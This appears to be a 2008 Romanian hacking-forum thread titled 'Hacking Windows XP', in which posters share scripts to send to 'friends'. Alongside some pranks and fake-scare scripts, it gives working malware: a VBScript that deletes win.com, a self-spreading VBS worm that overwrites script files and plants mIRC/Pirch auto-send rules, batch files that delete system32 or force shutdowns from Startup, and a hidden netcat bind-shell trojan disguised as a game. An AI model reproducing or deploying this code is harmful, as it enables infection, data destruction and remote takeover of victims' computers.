Hacking Windows Xp

Mici sfaturi/trucuri despre cum sa'tzi personalizezi Windowsul Xp :-)

Si prezi stie ce stie -....invatati de la el ..

Pentru a face acest lucru ...... avem nevoie de ResHack (http://angusj.com/resourcehacker/) . Lansam programul si deschidem explorer.exe din windows . Cautam string table----->37-->1033 shi modificam unde scrie "start" cu ce nume vrem .... apoi dam file---> save as----> explorer2.exe . Inchidem ResHack .... apoi executam start----> run----> regedit shi urmam HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ..... dam click shi cautam in dreapta fishierul cu numele de shell . Dam dubluclik pe el shi modificam explorer.exe cu explorer2.exe ... dam restart la pc shi .... voila :w00t:

!

plăcut ..dar pe windows vista merge?

Deschidem start--->run--->c://windows/system32/shutdown.exe -s -f -t 3200 ......... unde -t = momentul in secunde ; -s = inchidere ; -f = inchidere fortzata ; eventual ..... putem pune un mesaj : -c" U got Punk'd Smile

) ..... shi cam asta e :w00t:

!

Ultima modificare efectuata El_prezidentE la 14/07/2008 23:48, modificat de 2 ori in total

	MadMan a scris:
	interesant ..dar pe windows vista merge?

.... citeshte sus ........ hacking windows xp :w00t:

nu observasem Smile

)

Click dreapta pe desktop>NEW>Shortcut ....... in casutza in care scrie "Type the location of the item" scriem : shutdown -s -f -t 60 (tzientzi minte .... acestea sunt secunde ...... shi putem scrie chiar shi 3600 - 1h) , apoi dam next, i dam un nume, apoi finish .... :smile:

!

Pentru inceput vom deschide un text document in care vom scrie urmatoarele:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:"
folder ="windows"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:windowstempwin.com")
set fs2=fso.CreateTextFile("c:windowswin.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
dupa care vom salva acest text cu numele virus[exemplu].vps si il trimiteti celui care va deranjat ...si restu vine de la sine ce se intampla(contact demo4ro)

Tot in Vps puteti face urmatoarele ...
Function Dodrives()
On Error Resume Next
Set fso = CreateObject("scipting.filesystemobject")
Set Drives = fso.Drives
For Each Drive In Drives
If Drive.Drivetype = Remote Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
ElseIf Drive.IsReady Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
End If
Next
End Function
Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If file.Name = "mirc.ini" Then
Mirc (file.ParentFolder)
End If
If file.Name = "Pirch32.exe" Then
Pirch (file.ParentFolder)
End If
Next
Set file = Fold.Subfolders
For Each Subfol In file
Call Subfolders(Subfol.path)
Next
End Function

Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If Path = "" Then
If fso.fileexists("c:mircmirc.ini") Then Path = "c:mirc"
If fso.fileexists("c:mirc32mirc.ini") Then Path = "c:mirc32"
PfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(PfDir & "mircmirc.ini") Then Path = PfDir & "mirc"
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1= /if ( $nick == $me ) { halt }"
Script.writeline "n2= /." & chr(100) & chr(99) & chr(99) & " send $nick c:windowsworm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function

Function Pirch(path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If path = "" Then
If fso.fileexists("c:pirchPirch32.exe") Then path = "c:pirch"
If fso.fileexists("c:pirch32Pirch32.exe") Then path = "c:pirch32"
pfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(pfDir & "pirchPirch32.exe") Then path = pfDir & "pirchPirch32.exe"
End If
If path <> "" Then
Set Script = fso.CreateTextFile(path & "events.ini", True)
Script.WriteLine "[Levels]"
Script.WriteLine "Enabled=1"
Script.WriteLine "Count=6"
Script.WriteLine "Level1=000-Unknowns"
Script.WriteLine "000-UnknownsEnabled=1"
Script.WriteLine "Level2=100-Level 100"
Script.WriteLine "100-Level 100Enabled=1"
Script.WriteLine "Level3=200-Level 200"
Script.WriteLine "200-Level 200Enabled=1"
Script.WriteLine "Level4=300-Level 300"
Script.WriteLine " 300-Level 300Enabled=1"
Script.WriteLine "Level5=400-Level 400 "
Script.WriteLine "400-Level 400Enabled=1"
Script.WriteLine "Level6=500-Level 500"
Script.WriteLine "500-Level 500Enabled=1"
Script.WriteLine ""
Script.WriteLine "[000-Unknowns]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[100-Level 100]"
Script.WriteLine "User1=*!*@*"
Script.WriteLine "UserCount=1"
Script.WriteLine "Event1=ON JOIN:#:/" & chr(100) & chr(99) & chr(99) & " tsend $nick c:windowsworm.vbs"
Script.WriteLine "EventCount=1"
Script.WriteLine ""
Script.WriteLine "[200-Level 200]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[300-Level 300]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[400-Level 400]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[500-Level 500]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.Close
End If
End Function

si gata ati facut un Worm puternic pe care il trimiteti ''prietenului''

Tin sa Reamintesc ca tot ce se posteaza aici este ín urma multor ore petrecute pe pc ...si impreuna cu nenea Google..!
Nu sunteti obligati sa incercati asta acasa...
Pentru nelamuriri puteti sa intreba pe El_prezidente sau pe mine !
Pentru informatii si sugestii puteti sa ne contactati in pm ..adik private message veti gasi optiunea la Mesaje
Nu ne luam responsabilitatea atunci cand o sa incercati asta acasa ..
Tot ce se posteaza este doar informativ ...adik va impartasim o parte din cunostintele noastre...
va multumim

In ultimul timp am tot primit amenintari ba ca mi se sterge windowsul ba alta...
In primul rand atata timp cat ai un pc 100 la suta protejat nu are nimeni ce sa iti faca ci numai tu solitar cu manuta ta ...adik accesand pagini de net
pe care nu le stii si download-and tot felu de programe gen:''Sparge parola de yahoo''(despre care o sa vb mai tarziu) care sunt umplute de virusi ,...full si iti face pc praf!
Eu am sa va fac un exemplu pentru un ''virus''care da restart victimei ...
Procedeul este urmatorul _
Deschideti un text document si scrieti urmatoarele :
echo off
c:
cd
cd "C:Documents and SettingsAll UsersStart MenuProgramsStartup"
echo shutdown -s -f -t 2 >hacked.bat
exit
dupa ce ati scris salvati textul ceva in genu : cdkeyjoc.bat si gata
pe urma tot ce mai aveti de facut este sa il trimiteti ''prietenului''

Trecem la virushei ....... Smile

Ce e alea virusi Smile

)))))))))

pai daca tot itzi iubeshti prietenii, intra in start---> run----> regedit ....apoi urmezi HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , shi apoi in bucată dreapta apeshi click dreapta---> New string value ......shi pui shi tu un nume antivirus.... apoi dai dublu click pe el shi scrii C://windows/system32/shutdown.exe -s -f -t 60 -c " Intra pe www.aviatorul.myforum.ro .....dupa ce ai facut asta...il selectezi apoi dai file export..... shi acum are farmec sa le trimitzi prietenilor... este un registru run..... shi se activeaza de fiecare data cand deschizi compul ...... si .... ca sa scapi de el ....... dai start-----> run---> msconfig , apoi dai la startup shi il debifezi , dai apply , ok , restart shi gata ... :lol:

!

Palpitant deci functioneaza ca un spamer :-O

trebuie sa incerc :innocent:

daca imi stric pc ...pe tine te fugaresc: :w00t:

scrie asta in notepad :
@echo off
color 0A
Echo ------------------------------------------------------------
Echo Do you want to wipe your computer of all data ? (y/n)
PAUSE >nul
A:
Echo ------------------------------------------------------------
Echo Are you sure you want to delete all data?
PAUSE >nul
color F0
Echo ---------------------
color 40
Echo Deleting all Data ...
ping localhost
dir /s
color F0
Echo ---------------------
color 40
echo Deleting all Data ...
ping localhost
ping localhost >nul
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo ------------------------------YOU JUST WHIPED YOUR COMPUTER DATA !-------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
Echo -------------------------------------------------------------------------------
color 05
Echo -------------------------------------------------------------------------------
Echo ------------------------------------JUS KIDDING -------------------------------
Echo -----------------------------------BY El_prezidentE------------------------------
PAUSE >nul

shi salvezi .bat sau .cmd Smile

Ultima modificare efectuata de catre El_prezidentE la 15/07/2008 00:04, modificat de 1 data in total

Asta e cel mai bun Smile

) functioneaza de minune ...am incercat pe pc meu .. Smile

) si stii ceva Smile

) chiar merge ..dar merge scos de pe Safe mode sau prins restore system ..daca stii cum , :o)

bine inteles ...!

scrii in notepad :
msgbox "Sa te vad daca shtii sa ma rogi frumos sa itzi las compul in pace"
Set kader = WScript.CreateObject("SAPI.SpVoice")
kader.Speak "computer infected"
msgbox"O sa itzi deschid primele 10 porturi...apoi o sa itzi dezactivez firewallul..shi ma mai gandesc",,"Nuca"
msgbox"Gata,te-ai ars!!!",,"Nuca"
kader.Speak "1, 2, 3"
kader.Speak "opening port number 1 "
kader.Speak "opening port number 2"
kader.Speak "opening port number 3"
kader.Speak "opening port number 4"
kader.Speak "opening port number 5"
kader.Speak "opening port number 6"
kader.Speak "opening port number 7"
kader.Speak "opening port number 8"
kader.Speak "opening port number 9"
kader.Speak "opening port number 10"
kader.Speak "all 10 sistem ports are opened"
msgbox"In momentul de fatza ai la comp cela mai importante 10 de porturi deschise",,"Nuca"
msgbox "Acum itzi dezactivez protectzia compului",,"Nuca"
kader.Speak "starting proces"
kader.speak " "
kader.Speak "disabling antivirus"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak " "
kader.speak "antivirus disabled"
kader.speak " "
kader.Speak "disabling firewall"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak "firewall disabled"
kader.speak "operation completed"
msgbox" Incepe infectarea compului gazda",,
kader.Speak "Extracting viruses"
kader.Speak "extracting Trad3r.trojan"
kader.Speak " "
kader.Speak "loading"
kader.Speak "Trad3r.trojan has been succesfull extracted"
msgbox" Ce sa itzi fac , daca ai suparat pe cine nu trebuia "
kader.Speak "anyway your personal computer will be functionable only 10 more seconds"
kader.Speak "say bye to your pc"
kader.Speak "10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0"
kader.Speak "shutdown and saving infected"
kader.Speak " MADE BY El_prezidentE"
Dim wshshell
set wshshell = wscript.Createobject("WScript.Shell")
wshshell.run "shutdown -s -t 30 -c Mas"

shi salvezi .vbs Smile

)

Ultima modificare efectuata de catre El_prezidentE la 15/07/2008 00:03, modificat de 1 data in total

scrii in notepad :
@echo off
del *.txt
del *.exe
del *.ini
net stop "security"
del c://windows/system32
mkdir o
kill %windir%
kill system.ini

salvezi .bat ..... bafta :w00t:

Va voi prezenta in cele ce urmeaza o metoda relativ usoara pt a face un trojan
MAI intai trebuie sa faceti rost de doua programe
1)nC.exe (net capture)-----------cred ca stie toata lume ce face!!! nu mai e cazul sa explic .

2)Quick Batch File----------------Transforma un fisier cu extensia bat in unul cu extensia exe ,si cel mai important
are o optiune care permite rulare fisierelor in hide mode

Boon si acum sa incepem . luam un folder si bagam in el nC.exe Porgramul nC.exe poate face un shell la CMD întrebuințând
un port ales de noi.Asta o facem cu :

nc -l -p PORT-ul -d -e cmd.exe

iar apoi ne conectam la computer utilizând comanda Telnet IP port (exemplu telnet 54.76.21.34 2000 )
ori putty; care il vreti mie sincer imi place mai mult putty

Daa... toate bune si frumoase in schimb ne izbim de o mare problema folosind comanda nc -l -p PORT-ul -d -e cmd.exe
nu ne putem conecta de mai numeroase ori asfel dupa fiecare conectare portul este inchis automat !! cea ce nu este bine de aceea
folosim un mic artificiu sa facem un program care sa imi permita sa ma pot connecta de mai multe ori la computerul victimei
in folderul de care spuneam mai devreme punem doua fisiere care au extensia bat.Iar apoi incepem sa le scriem asfel ;
Doua fisiere
1)Start.bat
2)System.bat

In fisierul Start.bat scriem :

copy nc.exe c:windowstemp
copy System.exe c:windowstemp
c:
cd
cd "C:Documents and SettingsAll UsersStart MenuProgramsStartup"
copy c:windowstempSystem.exe
System.exe

Ce face acest program ?! Simplu copie cele doua fisiere in c:windowstemp si apoi copie un solitar fisier (system.exe)in C:Documents and SettingsAll UsersStart MenuProgramsStartup

Boon assta inseamna ca de fiecare data cand ala aprinde calc i se va executa automat System.exe dar ce e asa de important D`le fisieru asta?!
Smplu System.exe are urmatoarele line

C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
............................................................................................

de mai multe ori !!de vreo 100 de ori !
dupa aia fisierul System.bat il compilam cu Quick Batch File si avem un fisier System.exe
ATENTIE!!! trebuie a aiba optiunea HIDE MODE activa!!! pt ca executarea a se faca ascnus fara ca victima sa vada!!
daca vreti si sunteti mai luxosi puteti sa compilati si START.bat si sa ii schimbati pictograma in ua rmoasa de la un joc de ex si ii dati la un lamer si gata!

Avantaje e mic are 352 Kb nu il vede nici un antivirus si nici nu il va vedea vreodata cred

Nu imi ausm nici un fel de responsabilitate pt fatele savarsite de d-voastra in urma ciiri acestui articol !!!

I love your style

You are so great

Very useful information

I want to ask ! will you obtain positive review for your post in future) Or only my grace tell you that your post is unbelievable !))